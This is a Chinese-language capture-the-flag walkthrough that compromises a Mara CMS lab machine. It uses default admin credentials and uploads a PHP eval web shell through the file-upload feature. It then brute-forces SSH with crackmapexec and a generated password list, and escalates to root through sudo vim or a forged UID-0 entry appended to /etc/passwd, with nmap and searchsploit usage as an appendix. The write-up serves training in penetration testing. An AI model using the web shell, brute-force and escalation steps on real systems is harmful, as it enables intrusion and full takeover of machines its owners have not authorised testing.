一、信息收集

​ 搜索相关Mara cms,发现一个漏洞,文件上传,远程代码执行,https://cloud.tencent.com/developer/article/2277522

二、web_flag

  1. 访问Mare cms
  2. admin:changeme 进行登录
  3. 访问 http://target/codebase/dir.php?type=filenew 上传web shell
  4. 连接web shell

一句话木马:

1
<?php eval($_POST[1]);?>
屏幕截图 2024-06-08 214016

三、user_flag

​ 在/home处可以发现一个用户,d3f4ult,继续进入,查看user_flag,发现permission denied,继续查看notes.txt,(后半句的提示sudo提权可以用vim),发现一段base64编码,解码cGFzc3dkWzAtOV1bMC05XQo= —> passwd[0~9][0~9]

屏幕截图 2024-06-08 214507

爆破密码,在kali中先生成一个passwd[0~9][0~9]的字典,然后使用工具Crackmapexec爆破

vim 是一个文本编辑器

1
2
3
写入:i 或者 a
保存并退出:按esc键,然后:x保存并退出
执行命令: 冒号
1
vim pass.py   
1
2
3
4
5
6
7
file = open('pass','w+',encoding='utf-8')
for i in range(0,10):
for j in range(0,10):
passwd = f'pass{i}{j}'
passwd += '\n'
file.write(passwd)
file.close()
1
python pass.py

生成好字典,开始爆破

1
crackmapexec ssh -u d3f4ult -p pass --port xxxx xxx.xx.xx.xx

爆破出来passwd16,登录ssh

1
ssh d3f4ult@xxxx xxx.xx.xx.xx -p xxxx

四、root_flag

​ 查看当前用户可以使用root权限执行哪些命令。

1
sudo -l

1717856843636

(1)vim提权

因为vim以root身份执行,使用vim启动的交互式shell也会同样具有root权限。

1
sudo vim
1
:!/bin/bash[回车]

成功提权。

(2)编辑/etc/passwd提权

root权限执行的vim可以对/etc/passwd进行写操作。而该文件中储存着当前系统中的所有用户及其密码,文件格式如下

1
2
3
root: x:0:0:root:/root:/bin/bash
daemon: x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
用户名:密码:用户 ID:群组 ID:用户 ID 信息:用户的家目录: Shell

/etc/passwd 中的密码位为 x 是因为早期的 UNIX 密码放在 /etc/passwd 文件中,由于该文件允许所有用户读取,易导致用户密码泄露,因此从 /etc/passwd 文件中分离出来,并单独放到了此文件中。 /etc/shadow 文件只有 root 用户拥有读权限,保证了用户密码的安全性。但是我们可以向其中写入伪造的密码以达到效果:先使用 openssl 生成加密后的密码:

1
2
openssl passwd -1 123
$1$h0N5PbHk$LKH90BH1KrLeGnwNSqQDq0

1717858297312

然后修改/etc/passwdroot的信息,像下面这样。再追加到etc/passwd中,如下

1
Echo:$1$h0N5PbHk$LKH90BH1KrLeGnwNSqQDq0:0:0:root:/root:/bin/bash
1
sudo vim /etc/passwd

追加到etc/passwd

1717859234577

然后使用Echo:123登录

1
2
su Echo
enter passwd:123

提权成功,然后进入/root找到flag

1
cd /root

五、一些拓展

(1)网站扫描

​ 常规情况下,我们需要使用Nmap等工具对目标网站进行扫描,以确认其开放的端口以及服务信息。我们需要对目标进行四次扫描:

1
2
nmap --min-rate 1000 -p- -oA ports targetIP 
#对目标以最低1000的速率进行全部端口扫描并保存结果到ports文件中
1
2
nmap -p targetPorts -sT -sV -O -oA detail targetIP 
#对上一步得到的端口进行服务探测 sT:指定TCP扫描 sV:探测服务版本 O:探测目标操作系统 保存结果到detail文件中
1
2
nmap -p targetPorts --script=vuln -oA vuln targetIp 
#对目标进行漏洞扫描,并将结果保存在vuln文件中
1
2
nmap --min-rate 1000 -p- -sU -oA UDPScan targetIP
#对目标进行UDP协议扫描,保存结果到UDPScan文件中 (不常用)

在进行扫描后,根据得到的信息进行渗透优先级的判断。一般情况下,WEB服务的渗透优先级更高。

(2)漏洞搜索

1
searchsploit mara cms

1717861121447

根据搜索的path信息,使用命令将利用文件拷贝到当前目录:

1
searchsploit -m 48780

然后按照给出的poc执行。

(3)sudo提权

https://blog.csdn.net/negnegil/article/details/120090266